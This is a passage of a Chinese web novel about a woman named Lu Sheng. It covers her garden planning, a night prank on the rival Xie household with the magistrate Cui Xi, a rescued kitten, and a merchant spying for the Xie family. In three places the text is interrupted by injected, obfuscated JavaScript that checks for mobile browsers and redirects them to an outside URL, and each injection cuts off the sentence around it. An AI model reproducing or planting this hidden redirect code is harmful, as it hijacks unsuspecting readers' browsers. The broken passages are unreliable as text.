带子一圈又一圈缠绕,陆笙忽然想到是不是她经常摔倒或者有什么意外所以经常带着药,可她这样带着东西也不方便。 陆笙又问杨珞云:“还是你想自己设计?你设计得精巧不知道永平县的工匠能不能满足你的需求,要不行到时去州府做吧。” 杨珞云脸红,她确实有设计图,也是蹀躞带,但是由两个环构成,一条斜在胸前,一条紧在腰上。 “那就献丑了。”她把折痕已破的纸拿出来放在那张她惊讶过的大桌上。 这桌子样式没见过,用得结实木料似造房子时的那种,桌面打磨得平滑但依旧可以触摸到轻轻凸起的年轮。 屋子侧边的大扇窗被撑开,阳光洒落一些在屋内。只可惜天气尚冷,不然远近都会是一片美丽光景。 陆笙小心摊开这张陈旧的纸,墨水干涸随纸发皱,字的轮廓附近还泛着一点点的红,杨珞云不知什么时候画的它,笔应该是开了叉的,走出的线条并不光滑,但很顺畅,拿毛笔久了她居然也能看懂几分内情。 盯完并不重要的走势,陆笙开始仔细看图纸,详细的标注和数字,是杨珞云的风格,看完她笑问:“你是不是已经问过啦?这东西是要去州府做吧?” “嗯,得去州府孙娘那做,她手巧。到时工费夫人一定得告诉我,我交给您。” 陆笙见她坚持也不再推脱,点点头,将注意力放到她带来的种子上。 这些种子被包在染了色的纸里,陆笙给它们分了一下类,分别是:香草、根茎类、叶菜、豆类、瓜果和调味蔬菜等。 只是每个品种都不太多,这里的瓜类里甚至没有黄瓜,只有冬瓜和甜瓜和丝瓜,至于等里面的则是茄子、秋葵这样的蔬菜。 陆笙拿出崔息送来的纸,拿笔开始画格子。 “夫人,这是要做什么?” 杨珞云有些不解,不是种地么?怎么开始画格子了,难道种菜也要规划,还是有其他讲究。 杨珞云没有种过菜,最近和土地打交道还是陆笙带她去检查那些堆肥。 她那时还挺疑惑,夫人是怎么做的,那一方方有些下陷之处的土颜色和后园里头大部分的土是不一样的。可她还没来得及惊奇,夫人就叫不好不好,又是跺脚又是拍脑袋的。问她怎么了,她说温度太高估计里面的什么什么菌都被杀死了。 这些话杨珞云不太懂,但打心底里佩服夫人。 “珞云,你是哪里人呀?”陆笙画好格子,心里却莫名起了拖延的心思,真想躺着就有大片的菜蔬和瓜果落在身边,不想劳动。 “珞云是江南西道苏湖地区的。” 陆笙惊讶,什么?同乡?虽然代换一下大概隔了千百年这么远。 “那你可懂桑蚕缫丝?”陆笙现在满脑子农业农事,听到地域就立刻想到养蚕的事。 “这……这倒是不知,我母亲会刺绣,技术很好。” “那你怎么想着做了这个活计?” “机缘巧合吧,也恰好能干。” 杨珞云没有告诉陆笙,自己的母亲其实是因为早年穷苦,晚上对着黑烟烛火绣红花,早早就瞎了眼睛,后来跌到水里淹死了,她发誓,这辈子再不会去当绣娘。她是会刺绣的,不做以后才让父亲喝醉后打坏了手。 “今天夫人还要整地么?”杨珞云抽离情绪,主动问。 “不整地了,今天我有其他事要做,你先回去休息吧,明天再来。” 陆笙让杨珞云回去,现在她像是自己的特助,帮自己整理下地的数据。她记性好得吓人,仿佛刻录机似得,陆笙说的东西第二天能全部默下来,对数据更是敏感,真是天才。 习惯性地佩服完,陆笙拿起自己画的格子,这是她构想中的菜畦。用碎石板铺路,中间的缝隙洒上草籽,再开辟一块块菜地,但画完格子她又想尝试一下半朴门农业或者完全按照朴门农业来做。毕竟精耕细作太甚实在是耗神费力,既然只是自己尝试,那是不是应该来点不一样的?践行一下自然之道。 陆笙挠挠头,有点不太确定,自己还是怕和陶渊明一样早晚忙活,结果是“草盛豆苗稀”,但愿他是美化了自己勤勤恳恳的种地事业。 夜里,陆笙开始办她所谓的“其他事”。这事不太光彩所以她不好意思明说,用“其他”来指代。 具体是什么事呢?是她准备拿鸡血给谢林家画点王八。你能烧我的家,我也能恶整你,反正已经是翻墙好手。 于是月不黑风也无的晴夜里,陆笙蒙上面,穿上自己的短褐土布衣拎着鸡血准备翻出墙外。 但人算不如天算,她刚上墙准备离开家的时候就被擒住了。 是秦厌,他像摘葫芦似得把陆笙从墙上摘下来,并向崔息大声禀报:“公子公子,我在后园墙上抓到了一个小贼!快来!” 陆笙摔得七荤八素,晃晃脑袋醒过神来的时候被一把扯掉了蒙面黑布。 “夫人……” “笙……姐姐……?”秦厌直接给陆笙跪下了。 秦厌正为陆笙家被烧内疚,那天他感觉有贼人盯着自己,后面绕过一条街就没有了,他还以为是小贼盯错目标就没有回禀公子。 谁想到回来时发现自己酿成大祸,今天正想将功赎罪,却把笙姐姐给撂倒了。 崔息将陆笙扶起来,陆笙去捞秦厌,手指只差毫厘时被崔息拨开。 “让他给你跪一会儿。” 陆笙看到秦厌跪的那一刻气就消了,于是她摆摆手:“不碍事,不必跪了。” 秦厌抬头看看公子脸色,见他神色稍缓,两条腿松松垮垮地把自己撑起来,站直以后公子也没发作,秦厌知道,公子的气大概是消了。 其实拿他出气也没什么,但不如让他去给谢家点一把火,烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔息的手指不那么冰了,骨节分明又修长,陆笙的手包裹不住,但他不施力,所以可以任凭她摆弄。 陆笙专心致志,她先是把之前的涂去,又用狂乱的笔法画上,但是画得过于随意,跟太阳带着几根光芒似得,到时候干涸了估计像海胆。 画了一只,他们又随便找了个地方画第二只,今夜不知为何,谢家没什么人,狂徒行为开展得异常顺利。 “要不要留几个铜板,当作洗鸡血的费用?”陆笙思考这样会不会更加以牙还牙,作案手法相似,对得工整。 崔息说不行。 “确实挺容易被识破的。”陆笙叹气。 “不,把钱换作石头,省钱买油盐。” 两个人还在商量的时候有一队巡夜的人来了,脚步声密密麻麻,人似乎很多。陆笙和崔息挤在屋角的阴影里,等待他们走过。 忽然有一片毛茸茸的触感从陆笙手边传来,她一看,是一只小猫不知何时在窗台。 两个外人的味道引起了它的好奇,小猫想过来,但不慎掉了下去,它发出的声音引起了快要离开的巡夜人的警觉。 “谁!谁在那里!” 他们纷纷点亮风灯,朝着两个人藏身处来。 40. 第 40 章 瓦片碰撞声落在星夜下,散在夜枭的咕咕声里。 附近房屋已空,所以除了墙下路过的土狸黄狗被惊吓外,无人知晓今夜有两个人走在屋顶。 “小猫坏!”陆笙捞起手里的瘦弱的猫点一点它的鼻子,小猫不作声反倒蹭蹭她的指尖。其实它用自己的叫声麻痹了那队巡夜人,一点也不坏。 崔息一开始不明白陆笙为什么要捡谢家的猫,但在灯下看到小猫瘦弱的身躯时他懂了,陆笙不忍心。 谢家这么大的家业,却有这么一只瘦弱的猫,多半是自己跑进去的,没有主的猫又怎么在那活得下去。 “陪我坐一会儿吧,天上有星星。” 陆笙坐在屋脊,把猫放在腿上,小小的生命带着一点暖意。 她双手撑在瓦片上,瓦片有微微的潮湿感,是饮冰啜雪的青苔带来的,与柔软的青苔不同,长在屋檐里的佛甲草寸步不让,陆笙怕折断这向上的植物,手指微微分开缝隙。 四下无人,崔息依旧坐得端正,两个人中间放了一盏风灯,是陆笙随手从谢宅顺的。 无话的氛围忽然被一声轻笑打破。 “笑什么?”陆笙问的时候也忍不住弯了唇。 两个平日里正正经经的成年人,今天晚上做的什么混账事,幼稚事! 还拿笔给人家画王八,唬得住谁呢? 崔息噙着笑说:“我不知道。” 其实说不知道对他来说是一件奢侈的事情。 少年时崔息身负名门众望,读书习武日日不敢懈怠。再大一点又过科考成了进士,家国栋梁青年才俊,风光无二。他很少说不知道,他应该事事都成竹在胸,风云之中立定如山。 他也不敢不能说不知道,可是在陆笙面前,这三个字轻而易举地落地,不用担心令人失去信念或者辜负谁的期望,更不用担心被攻讦。他可以坦然地说自己是天地之间的混沌儿,是愚昧无知狂妄自大的痴儿。 手上忽然传来一点点的暖意,崔息低头,原来是陆笙的指尖。 崔息转头看她,她正认真地数天空的星子,因为要抬起一只手,所以挪过来了一些,也可能是自己不肯坐太远,她的位置不够了。 “好多的星子。” 崔息抬头,漆黑夜幕正有无数星子遍撒,它们闪烁不停,这份气势浩荡得令人晕眩。 “观乎天文,以察时变;观乎人文,以化成天下[1]。阿乐,你看到了什么?”他有些好奇她眼中的天象是否有其他意义。 “哪有这么高深。云尘你看,在这里的秋夜的前半夜是没有完整北斗的,但再过一段时间北斗就会回到天上,而斗柄冬指时也意味着春天。”陆笙用手指在天空点来点去。 走镖时从南到北,在没有网络的夜晚,星子就是她最好的陪伴。 她知道崔息说的是《易》里面的词句,那是古人对天象的解读。每当这种时候她就觉得念头真是个奇妙的东西,现在坐在人间,念头却飞向天空。 十万年以前,十万年以后,渺小如苔花的人依旧可以坐下来,抬头看星星。 时光仿佛在一种类似永恒的图景之中,只是说以现代为基点的十万年后北斗七星的模样都会发生变化。 又不知道往后的亿万年里,在人类编年史中,串起太空历史的是否会是这些闪烁了亿万年的星星。毕竟,它们是如此酷似故事中那一点又一点散布的伏笔。 或许在这个世界的千年后,人类也会揭开自认为的第一个伏笔,登上神话中的皎月。 陆笙的念头纵横跨越无视时空,但一想到自己看不到故事结局她还是轻轻叹了一口气。 “为政以德,譬如北辰,居其所而众星共之[2]。” 看着天空,崔息轻轻背诵,他生命中关于北斗的语言,最响亮的是这一句,如同北斗星一样亮着,为自己领航。这句话又如同史家钩沉一般将崔息心事牵扯,情绪未尝时却听一声猫叫。 “喵。” 窝在陆笙腿上的小猫轻轻叫了一声,打断了两个人的思索,两个人又回到此刻。 陆笙抚一抚它的头,轻声说:“嘘,回去就给你吃肉。” 崔息的手像被春风吹拂的柳枝一样无法自控,伸过去,又转折了方向,最后落在小猫的脑袋上,他伸出食指刮一刮这个小家伙。 崔息偷看一眼陆笙,光落在她颊边,明明是模糊到带着颗粒的光点,但照出来的人竟然异常鲜艳。 陆笙发现他在看自己,递了一个疑问的眼神。 “回去吗?”崔息在快要空白的脑海里钩出一句。 “回去吧,回去给它洗个澡。”陆笙点点头。 她没看出来吧?她看不出来的。 崔息在心里自问自答,其实逃脱巡夜人视察的某刻里,他意识到这件事是荒谬的,可自己还是跟来了,心似有好风凭借,升到烟水茫茫之间去寻觅隐现的虹光,眼前的跟随她获得的快乐实在难以克服。 只是不可以,崔息警醒自己:没有赋予的能力,就不应该跨出那一步,最好心思也收起来,君子应克己。 他这样反复告诫已有多次,但收效甚微。 只好庆幸,陆笙并不那么在乎他。 又想起佛经中语,爱欲于人,犹如执炬逆风而行,必有烧手之患。[3]可人在夜里没有光又要如何,站在原地等待吗? 两个人慢慢地走,夜凉却也寂静,走到府后门时灯笼是亮着的。 陆笙忽然问崔息:“我家被烧县令大人是不是也有责任?秦厌要跪,那大人你……” 不知为什么,欢喜也带来征服的欲望,其实这话陆笙说出口就后悔了,想想也就罢了,怎么还说出来。县令和云尘的两个身份还也是凭他自己切换。陆笙啊陆笙,今晚怎么这样得意忘形呢?心气可真是个奇怪的东西。 明明撞过南墙,也低头赔笑,甚至有狂徒妄想,可遇到崔息,她发现原来自己的脾气还没变,她不太喜欢自己的,可遇上了崔息这块他山之石,温柔似水地破了自己辛苦磨砺的尘世皮壳。 怎么办呢?自己的脾气没人喜欢的。 就在陆笙思考怎么圆话的时候,崔息向她行礼说:“任凭夫人处罚。” 灯下的他把自己的缺胯袍一掀,衣摆被风托着,下落得居然有几分雅致,他跪得也不疾不徐,单腿往前一步半跪在陆笙面前。 “不不不……不用。”陆笙急得犯结巴,愣神完后立刻把人扶起来。 崔息脸上却始终挂笑,看她着急似乎还笑得灿烂了一些。 至于回府,两个人用的翻墙这一招,只是甫一落地就被丰娘和秦厌“遇见”。 “还是丰娘推得准,公子和笙姐姐果然是从后院落的地。呀!怎么还有一只三花猫?” “哟,真是,有点像秦厌当年的可怜劲,以后肯定是只健壮的猫。”丰娘拿灯照一照,猫瘦弱得有些可怜,毛色也黯淡。 秦厌把三花猫聚起来,问:“不如叫阿洗怎么样?!” “那不错,你是厌,它是喜。” “不,不是喜欢的喜,是洗干净的洗。”秦厌逗一逗三花的小爪爪。 丰娘不理他,问陆笙和崔息如何,结果两个人还真同意。 “取的什么字。”丰娘轻声嘟囔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967946|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>秦厌不管,他一直叫它:阿洗!阿洗!阿洗! 陆笙示意崔息附耳过来,她气息落到他耳垂上。 “这个洗,是阿木凌名字的意思,她的名字有除去一切污秽的意思,碧空如洗和随波洗石的那种模样。” 崔息紧握住手,脸微微发烫,语句的意思藏在她舌尖风后,迷雾升起,他心悬悬,还好最后能捉住话里的意思。 取完名字,四个人认认真真判断了一下小猫的出生时间,并且在退休居里讨论要不要给它洗澡。 三花听不懂人话,现在正眯着眼蹲在炉边吃饭,阿灵在旁边和它面对面一起吃,她嘴巴里含的是陆笙给的桂花糖,秋天的嗅觉落在甜蜜里居然可以一直存下去,又想着给阿婆带一颗,甜滋滋的味道,她一定喜欢。 第二日午时,杨珞云带着纸过来,走到退休居的时候发现一群人都聚在那。 她走近,原来是在给一只瘦弱三花洗澡。 “夫人,哪里来的三花呀,瘦成这样。” 陆笙神色自若地回答:“在路上捡的,看它可怜。” “它已经有名字了,叫阿洗,不叫三花了。”秦厌转过脸来对杨珞云说,他脸上还有三道爪痕。 “这是什么名字?”杨珞云有点茫然,没有彩头也跟它的特征无关,明明小三花的背上有纺锤似的图案,叫毛锤多合适。 丰娘看到杨珞云沉思的表情就知道,她也觉得这名字怪。 “云娘子,你看这名字,怪吧!” “嗯……是有一些,你看小猫那到那,像不像个纺锤。” “是有些像,诶唷,小毛锤!” 杨珞云惊喜,丰娘居然懂她。 陆笙沉思,毛锤和阿洗?这两个名字难道不是半斤八两吗? 她觉得还不如叫它三花,想着想着又惊恐,不会吧,难道县令府邸最大分化竟然来自她从谢宅顺的小毛咪! 不过幸好,洗完澡把猫放在炉边时,发现这三花猫对什么名字都有回应,叫它三花它会睁开眼看看你,叫它阿洗和毛锤它也会睁开眼看看你。 秦厌却不满意:“笨蛋,怎么什么都应!” 更不满意的是小毛团子喜欢粘着陆笙,明明陆笙是最不搭理它的那个。 “可能我救它于水火之中吧。”陆笙抚一下毛团子,继续折腾自己的种菜大业。 她已经把种子用温水泡过以后先种在小小的粗陶薄杯里,这种小杯很容易坏,但烧制方便,所以价格低廉。 陆笙看重它便宜又容易打孔的特性,就算不打孔有些也有很好的疏水性,对于培养种子来说,它的缺点都是优点。 至于放在里面的土壤,这是陆笙仔细配过的,全用肥沃的怕它们以后适应不了,所以对半开,这里面她也放了两盆全肥沃土和全后园土的。 它把这些土陶杯子放在壁炉上面的木板上,再写上木签区分,春播的事就算走了第一步,下面就是要根据作物特性来翻地了。 但在翻地之前,她还得优化一下自己的堆肥处。之前挖坑那办法不太好,因为发酵会产生热量,而热量会杀死土地里的生命。 土壤的构成十分复杂,不能格杀勿论。 除了优化还有美化的工作需要思考,全一气堆着太难看,最后建个小石墙,再安排点蕨类青苔,或者用花墙也好,种凌霄、木香这样的攀援植物遮一遮,或许种金银花、牵牛花也不错。 “禀管事,有一走货郎在门口求见。”一仆役前来禀报。 陆笙心里有些狐疑,走货郎一般都是喊几声,可一点动静也没有。 又说求见,是为何而来呢? 41. 第 41 章 沈莲丰来到门前,一个穿深色袍的的人牵着匹骏马站在门口,中年男人深眼窝,颧骨略高,生了一双精明的眼。 那双眼睛一看到来人装扮立刻行礼,并道:“县令府邸果然不同凡响,某先自报家门,某是青州吴府走货郎。家主听闻永平县水道将复,便派某来此问货。” 青州吴氏,这家倒是个有名的,从前做过皇商,后来听说迁往吴郡做粮食买卖,从南到北,日日不歇。 “问货?敢问如何问法?” “这问货讲的是一个信字。便是买者要什么,卖者就供什么。吴府走货,不管天南地北,甚至天竺西域的宝贝,只要有这样东西,我们便为您寻来。”货郎大手一番,手心里有一枚金灿灿的铜钱。 “好大的口气。” 那走货郎倒也不反驳,头微低避一避锋芒,脸上还是带着平和的笑,毕竟是吴府走货,买主的质疑交易后便可消散。 “不知贵府可要货?若无有此需,那某便告辞。” 沈莲丰伸手留他,“我们府上要的东西说来话长,请……” 说了这么久,那走货郎还未报姓名。 “某姓贾,名藿,喊我贾货郎便是。”走货郎很是机敏,没让沈莲丰的话落地。 “请贾货郎到里面细说。”沈莲丰听过许多的名字,但今天这个实在有些促狭,还好她定力足,否则要像身后的小婢子一样忍不住。 这位贾货郎很爱惜他的马,将一个口袋递给前来牵马的仆役,又叮嘱几句才随沈莲丰一道走入门庭。 他没有看到,照顾马匹时有个婢女对沈莲丰耳语了几句。 沈莲丰带他走去的是偏堂,陆笙正坐在那,手上拿着核桃仁准备吃,一几案的壳看到两个人来了只笑着点点头。 “恕小人眼拙,这位是?”贾货郎没有坐先问。 “是我们崔府的夫人,县令夫人。”沈莲丰把“县令”两个字咬得很重。 贾货郎赶紧行礼,得到允许才抬起头来。 “不知走货郎有什么好物。怎么,是空着手来的?” 于是贾货郎又将原由说上一遍。 “那凤脑龙髓香可有?” “这……这倒没有。” 吴货郎听到这县令夫人的话有些惊讶,有用眼尾扫一眼,这气派真是似个土财主,哪有人十个指全戴上金银戒指的,金花银花都往那大刀髻上装点,粉也擦得老艳。 “夫人,这些东西哪寻得着呢?若您疲累,不如让奴婢代劳。” 吴货郎眼睛一亮,这是赶上内讧了?听这口风,啧,仆人欺主呀。 “我怎么不知,吴货郎,你可有货物册子?让我瞧瞧都有些什么?” “某不才,这些东西都记在脑子里。”吴货郎躬甚,做出赔礼的样子来。 旁边的沈管事拿帕子遮一下唇,似有掩不住的笑意。 “上好的,价贵的香有没有?” “容小人禀来,那价贵的自然有。譬如林邑的沉香、婆罗洲的龙脑香、拂林与安息产的苏合香、波斯的乳香,若爱气味浓郁不散者,还有西域来的耶悉茗、蔷薇露。” 贾货郎提到婆罗洲的龙脑香时还看了一眼这位县令夫人,她果然面色有异,大概是知道自己露了怯。 “永平县谁家买香买得最多?” “自然是谢府。” “好,那我们府要比谢府买得还多!照他们买的再各加一石!”陆笙把核桃放进嘴里,双手一拍。 贾货郎不敢接话,旁边的沈管事开口了:“夫人,这婆罗洲和西域来的香价格实在不便宜,您要不要再问问人家买了多少,香价有几何?” “是是,沈管事说的是。”做生意固然高兴,可人家谢府是一族之力,买的东西实在太多,这土老财模样的县令夫人两片嘴皮这么一搭,说出个吓人的数目来,以为是买两百多文一石的盐呢? “那行,说吧。”陆笙转转手上的红宝石戒指,浑不在意。 贾货郎开始一件一件得报价,偶尔又加入谢府购买数量以作对比。 “这么贵?!不就是些带味道的玩意儿么?澡豆也香,这能买多少澡豆?” 贾货郎嘴上说是,又连连点头,他基本断定,这大生意是做不成了。 果然,那县令夫人不再说香,要了几颗螺子黛,还要问些妆品时那沈管事却插手。说县令府可没有这么些闲钱,于是那土老财做派的夫人直接站起来拍拍屁股走了。 贾货郎抬头问:“这……” “无妨,货郎坐下,我写一张单子给你,照着这单子便可,我们府上的规矩是货可少却不可不精,可记住了。” 贾货郎点点头,又说了些请管事放心的话。 沈莲丰命人磨墨,她字娟秀,贾货郎拿到手吹吹墨痕忍不住夸奖。夸完他取了有吴府特有的笺,将货品抄了一份,又按上印说:“请管事收,这些东西不会少的。以后我吴氏的商船必将常往返,以后便要靠贵府多照顾生意。” “吴氏经商有术,哪有照料的份,不过是跟着沾光。”沈莲丰浅笑推挪。 一单生意完成,沈莲丰亲自送那吴货郎,一直等到他拐出视线才回去。 “那沈管事莫不是发现了什么?” 贾货郎捏着酒杯在灯下回忆,他犹然记得自己回头时看见那沈管事还在盯着自己,那目光像明镜一般。 “什么发现什么,我现在才叫你给我看一看崔府的单子。”谢林府上的梁凌梁管事嗤笑。 贾货郎不说话,梁管事举杯跟贾货郎对饮三回以后,夹了一口莫猜脍吃下,鲜甜的鱼肉和微辣的姜丝混合,柔嫩与咀嚼感并驾齐驱,味美得比那酒还醉人,吃完捏着杯子将余味一同抿下,然后不经意似得问。 “贾三,说说崔府的情况给我听听,我还没去过县令府邸。” 贾藿拿手点他,边点边说:“你看你看!” “不过是闲话一二罢了,你不肯说就不说,下次可别来蹭酒。” 贾藿灌一杯酒,感觉视线有些迷糊,虽然主人叮嘱过莫要生事,他也听说了县令府与谢家不合的风声,但一两句总不会有什么。 “行,行,那我说,不过进去的时间不多,没什么太要紧的,也就发现那沈管事和那县令夫人似有嫌隙,两个人说话夹枪带棒的。” “哦?就这些?” “就这些,我是去走货的,你爱听不听。” “好好好,就这些,就这些。你我兄弟何必动怒呢!不讲了,吃菜吃菜!” 但贾藿走后的县令夫人与沈管事并不如此。 “娘子,你是如何断得他会是替谢家做事的?”沈莲丰手头并没有人派遣,但阿灵买菜回来时提了一嘴,她立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980760|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去问陆笙,但陆笙还未卸完妆,沈莲丰又有它事,这话便搁置一会儿。 待沈莲丰去退休居去找她的时候已是下午,陆笙在打磨农具,看样子是要翻地。 陆笙已尽洗铅华,发髻也换成了寻常样式,听丰娘惊讶只微微一笑。 她坦白:“我可不知道!我只是为了套些话,那走货郎不是报了谢家买的香料几何么?这些价格、斤量可大有讲究,能看出不少东西。不过这事要交给珞云,我算不准。”陆笙是为了大致计算一下谢府的购买力,再和铜矿未绝时对比。 这些日子下来,她总觉得谢家这钱跟印出来似得,哪怕是铜矿断了这么些年,他家却跟没事人一样,所以要么是谢家有勤俭持家的习惯,要么就是有其他猫腻在里头。 “可万一那走货郎没有去谢家,先来的我们府怎么办?”沈莲丰问出口就笑了。 “说笑了,我们府哪比得上谢家买得多,没有这么多的人,更没有这么大的需求。做生意,自然是先捡大单,又是吴氏来的走货郎,早年跟谢家有过生意的。” “那您怎么知晓是吴氏走货郎?” “这个……咳,我在照壁后面偷听呢。” 沈莲丰看到陆笙不好意思地低头,她却笑了,真是了不得的娘子。 “丰娘,你这是怎么了!”陆笙有些慌乱,因为丰娘居然哭了。 “无事,只是想到了往事。”她伸出手指点去泪花,“我太开心。” 沈莲丰是想到了崔娘子和公主,两个人有时会聊起阿郎的婚配事,她听过几回,两个人对阿郎评价各有不同,唯一一点相同,那就是说阿郎太仁慈。 少年总是意气风发的,可年岁一涨人就被磨出本性来,有太多事会触及本性。既然阿郎仁慈,那么就要找一个锐利的,可这个锐利又要有智慧的底色,不至于常常吵架。 两个人说来说去,最后为自己看好的人不同而置气,但马上又笑,说管他呢,自己的事情自己做,难道还要麻烦长辈么? 沈莲丰记得那时候也是春天,但已是春末,崔娘子笑说自己又来迟,园子里的荼蘼花都已谢尽。白色芳菲铺在雨水过后的黑色土地上,有些寂寥,但那天是春阳灿烂的。 “夫人,明日立春,我们一同出去置办些吃食可好?阿灵说今日看到了许多春菜,荠菜、辣蓼、芫荽、韭菜都新鲜可口着,尤其是荠菜,摆了许多。” “当然好!现在气暖日渐高,冰雪消融,正是长春菜的好时候,其实后园里也有一些荠菜,但当不了两盘菜,不够一大家子吃,我也正想着呢!”” 陆笙欢喜,这荠菜鲜美,不论是过水后凉拌还是做馅都很好吃。外婆教她焯水的时候在里面加一些盐和油,这样荠菜不会大变色,凉拌完还是翠色的。 其实在永平县吃荠菜鱼肉丸的也不少,最好吃的是莫猜鱼制的荠菜鱼肉丸,洁白翠绿甚是好看,咀嚼起来又有春日嫩叶初绽的美丽。 陆笙曾经跟老庄提过,但他吃不出,陆笙哼一声道:“这种美丽需要想象力作为延伸,常醉酒的人无法感受!”那时候她其实是想劝老庄少喝些酒。 想到老庄,陆笙心里泛起些焦急,老庄的信怎么还没到。阿木凌的信也是,她和昂摩难道还没有落脚么?陆笙感觉自己心里有一张透明蛛丝结成的网,牵挂的人四散,而自己伏着等待消息的震动。 42. 第 42 章 丰娘离开后,陆笙继续整理自己的农具。 铲、镢、耙、镫锄,这是陆笙在永平县收集的到的全部农具,其中耙、镫锄还是她自己画图纸让那个技术不佳的铁匠师傅打造的。 还没穿越时候她翻地用的是铲和耙,不包括木柄的铲头长度大约是二十多公分,用脚踩住一边往土里压,然后挖开,据说这长度是有讲究的,大部分蔬菜就可以在这样的翻过土的环境里长大。 但萝卜这样的作物就不行,最好起垄,不然容易长分叉,网上图里酷似小人的萝卜就是长歪了的。 如果只有品相变化倒还罢了,装载了知识但缺少实践的陆笙最怕的是光长萝卜叶不长萝卜。有时候她真是恨不得每一步都有教程,但没有教程的时候她又能勇敢尝试,何等悖论啊! 其实在陆笙愤然离开学校之前,她往奶茶纸杯里种过樱桃萝卜,有几个就光有萝卜缨,那一次种植也让她明白,原来樱桃萝卜在越冷的时候越甜,天气一热这味道就变辣。 尝过以后她为这事笑了好几天,几天里没有查任何文献,就是光想着一热就辣就会裂开嘴角。后来想起来自己手握知识库,就立刻去查文献。 原来这是十字花科的特征,生的芥菜和包菜里面也会有,但是一过热水或者炒制以后就会消失。 陆笙觉得很神奇,这种“就是如此”的现象让陆笙着迷。 室友评价,陆笙你读个什么哲学,去读个物理化学多好,直接就探索自然奥秘,或者干脆就去读动物植物昆虫相关的学科,天天往林子里钻。 她觉得室友说得对,但是她的第一篇论文快要发表了,她想再等等,虽然……后来等来的不是什么好结果。 拿起铲子,放下杂念,陆笙选了一块离自己木屋相对较近的地开始铲地。 在陆笙的构想里,需要经常打理的菜蔬靠自己近一些,可以偷懒的就离自己远一些,这块地她准备种香草,九层塔、鼠尾草、芫荽、虾夷葱这些经常要采摘来配三餐的。 “夫人,你真的要自己翻地?”杨珞云按时来陆笙的退休居报道。 “那是自然,今天的活放在桌上了,你取了就回去吧。明天立春记得早些来,一起吃午食,有春饼、春盘,说不定还有荠菜鱼丸汤可以吃。” 杨珞云应下,走到屋子里,一份叠好的纸张放在那里。她仔细读一读,发现是类似算账的事,这事她还是第一次做,有些激动。 “夫人,农书我给你带来了。”是崔息的声音。 陆笙抬起头一看,又是没换衣服官袍前来,农书有什么急的,书也不会跑。 “见过明府。”杨珞云从退休居出来吓一跳,赶紧行礼。 崔息点点头,让开道路。 杨珞云却没有直接离开,而是先去了陆笙那里,将一张纸递给她后才快步离开后园。 陆笙看到崔息微微探寻的眼神,将手里的纸扬了扬问:“要看吗?我今天拿到了好东西。” “我也有东西给阿乐。” 崔息快步走过来,左手是农书,右手从书册上拈起一封信。 “阿木凌的信!”陆笙大喜。 “怕你等急了。” “哦对,这个,这个给你。”陆笙把手上的纸张递给崔息,但递到一半又缩回来,将纸张抖了抖,“有泥,怕脏了你的手,再脏了我的书,到时候给你,你自己抄一份去看。” “这是我让珞云算的谢家定货数,或许县衙能找出些陈年旧据,不知两相对比是否可见其异常之处。譬如谢家这些年营收锐减,但支出似乎不减。”陆笙握住铲子站在地对崔息说。 崔息看着这数字目光逐渐严肃,陆笙知道他是抓住了些蛛丝马迹。 但陆笙并不觉得开心,心里反而产生一种紧张,像室友紧绷的琴弦,发出的声音没有余韵,力一大就绷断。可能人有了牵挂,有些事情的力施加在身就变得沉重,她会担心谢家的报复,会担心付出全部却只差一个时机…… “谢家除了水道之外还会向南与土人交易么?”崔息提出心中之想。 “这个倒是不知,往年我走镖,多半是往北边走,南边倒也有,不多。” 崔息背在身上的手搓一搓问出了他想问很久的事:“那你手中的那根隐朱绳可来自南边?” 他听阿木凌说那根绳子是南边一个贵人给陆笙的。 “哦,那绳子……呃,我以为是普通绳子,收了之后很多人说贵重。但你看,若圣人赐我普通马鞭,这算不算贵重?大概是物因人贵。” “原来如此。”崔息感觉自己在说废话,关键处一点也没出口。 “不说这个,陪我去看看石板如何?”陆笙感觉心里有点烦躁,想出去走走。 崔息欣然同往。 就是两个人走着走着就往溪边去,永平县有两条大河流经,支流小溪也有不少穿过永平。如今水边草木萌发,瞧着甚是可爱,脚步跟着目光慢慢地偏移,醒悟过来时已经走了另一条路。 “将错就错吧,只可惜没带竹篓,不然把这里的野菜全摘了,明日就不用另买。”陆笙蹲下来将这蓬勃生长的绿草拨动几下,又抬头向远处望。 “真是草木蔓发,春山可望[1]。”她感慨。 崔息细品咀嚼后面八个字,也向远望去。山体轮廓为草木描摹,嫩绿、碧绿和更远一些因目力不逮的而形成的深绿,自然造化全在其中。 两个人静默地站在那,呼吸春气。 呼吸得人如草木也要扎根时,陆笙开口:“明日立春,我与丰娘要做春饼、春盘,五辛盘云尘大概不爱吃,除此之外还有有忌口的么?” “明日我须得往附近村社观礼,顺便督促春耕要事。”崔息语气略带歉意。 “嗯,明府是应担劝课农桑之责。那你可有眼福了,这边的演春要接句芒神、鞭春牛,有些和土人相近一些的村落还会有人扮演春官!稚童会带着春燕到处跑,有些心急的还能把风筝拿出来拉着。” 